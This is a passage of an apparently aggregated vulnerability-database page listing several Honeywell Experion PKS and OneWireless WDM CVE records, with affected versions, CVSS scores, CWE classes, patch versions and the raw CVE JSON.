| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-3946",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:35:19.798404Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:35:28.409Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS \n\nand OneWireless WDM\n\ncontains a Deployment of Wrong Handler\n\n \n\nvulnerability \n\nin the component Control\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eData Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, \n\n which could result in incorrect handling of packets leading to remote code execution.\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cbr\u003e\u003cbr\u003e\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u003cbr\u003e\u003cbr\u003eThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u0026nbsp;The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\n\n\u003cbr\u003e\u003c/span\u003e"
}
],
"value": "The Honeywell Experion PKS \n\nand OneWireless WDM\n\ncontains a Deployment of Wrong Handler\n\n \n\nvulnerability \n\nin the component Control\u00a0Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, \n\n which could result in incorrect handling of packets leading to remote code execution.\n\n\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\u00a0The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-430",
"description": "CWE-430 Deployment of Wrong Handler",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:46:15.112Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Incorrect response generation during FTEB protocol processing",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-3946",
"datePublished": "2025-07-10T20:16:54.743Z",
"dateReserved": "2025-04-25T15:21:21.740Z",
"dateUpdated": "2025-08-04T19:46:15.112Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2523 (GCVE-0-2025-2523)
Vulnerability from nvd – Published: 2025-07-10 20:15 – Updated: 2025-08-04 19:45
VLAI
EPSS
VEX
Title
Lack of buffer clearing before reuse may result in incorrect system behavior.
Summary
The Honeywell Experion PKS
and OneWireless WDM
contains an Integer Underflow
vulnerability
in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in a failure during subtraction allowing remote code execution.
Honeywell recommends updating to the most recent version of
Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
9.4 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:35 UTC
CWE
- CWE-191 - Integer Underflow (Wrap or Wraparound)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2523",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:35:45.591675Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:35:53.232Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS \n\n and OneWireless WDM \n\ncontains an Integer Underflow \n\nvulnerability \n\nin the component Control\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eData Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in a failure\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u0026nbsp;during subtraction allowing remote code execution.\u003c/span\u003e\u003c/span\u003e\n\n\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cbr\u003e\u003cbr\u003eHoneywell recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u003cbr\u003e\u003c/span\u003e\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\n\n\u003c/span\u003e\u003cbr\u003e"
}
],
"value": "The Honeywell Experion PKS \n\n and OneWireless WDM \n\ncontains an Integer Underflow \n\nvulnerability \n\nin the component Control\u00a0Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in a failure\u00a0during subtraction allowing remote code execution.\n\n\n\nHoneywell recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\n\n\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-216",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-216 Communication Channel Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-191",
"description": "CWE-191 Integer Underflow (Wrap or Wraparound)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:45:51.105Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Lack of buffer clearing before reuse may result in incorrect system behavior.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2523",
"datePublished": "2025-07-10T20:15:32.600Z",
"dateReserved": "2025-03-19T13:57:31.419Z",
"dateUpdated": "2025-08-04T19:45:51.105Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2522 (GCVE-0-2025-2522)
Vulnerability from nvd – Published: 2025-07-10 20:11 – Updated: 2025-08-04 19:45
VLAI
EPSS
VEX
Title
Lack of buffer clearing before reuse may result in incorrect system behavior.
Summary
The Honeywell Experion PKS and OneWireless WDM
contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.
Honeywell also recommends updating to the most recent version of
Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are
C300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before
520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:34 UTC
CWE
- CWE-226 - Sensitive Information in Resource Not Removed Before Reuse
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2522",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:34:00.516806Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:34:08.789Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS\u0026nbsp;and OneWireless WDM \n\n contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.\n\n\u003cp\u003eHoneywell also recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u0026nbsp;\u003c/p\u003e\u003cp\u003eThe affected Experion PKS products are \n\n\n\nC300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before \n\n520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\u003c/p\u003e"
}
],
"value": "The Honeywell Experion PKS\u00a0and OneWireless WDM \n\n contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.\n\nHoneywell also recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u00a0\n\nThe affected Experion PKS products are \n\n\n\nC300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before \n\n520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-216",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-216 Communication Channel Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-226",
"description": "CWE-226 Sensitive Information in Resource Not Removed Before Reuse",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:45:13.439Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Lack of buffer clearing before reuse may result in incorrect system behavior.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2522",
"datePublished": "2025-07-10T20:11:43.603Z",
"dateReserved": "2025-03-19T13:57:30.424Z",
"dateUpdated": "2025-08-04T19:45:13.439Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2521 (GCVE-0-2025-2521)
Vulnerability from nvd – Published: 2025-07-10 20:08 – Updated: 2025-08-04 19:44
VLAI
EPSS
VEX
Title
Lack of indexes’ validation against buffer borders leads to remote code execution.
Summary
The Honeywell Experion PKS and OneWireless WDM contains a Memory Buffer vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to an Overread Buffers, which could result in improper index validation against buffer borders leading to remote code execution.
Honeywell recommends updating to the most recent version of Honeywell Experion PKS:
520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
8.6 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:33 UTC
CWE
- CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
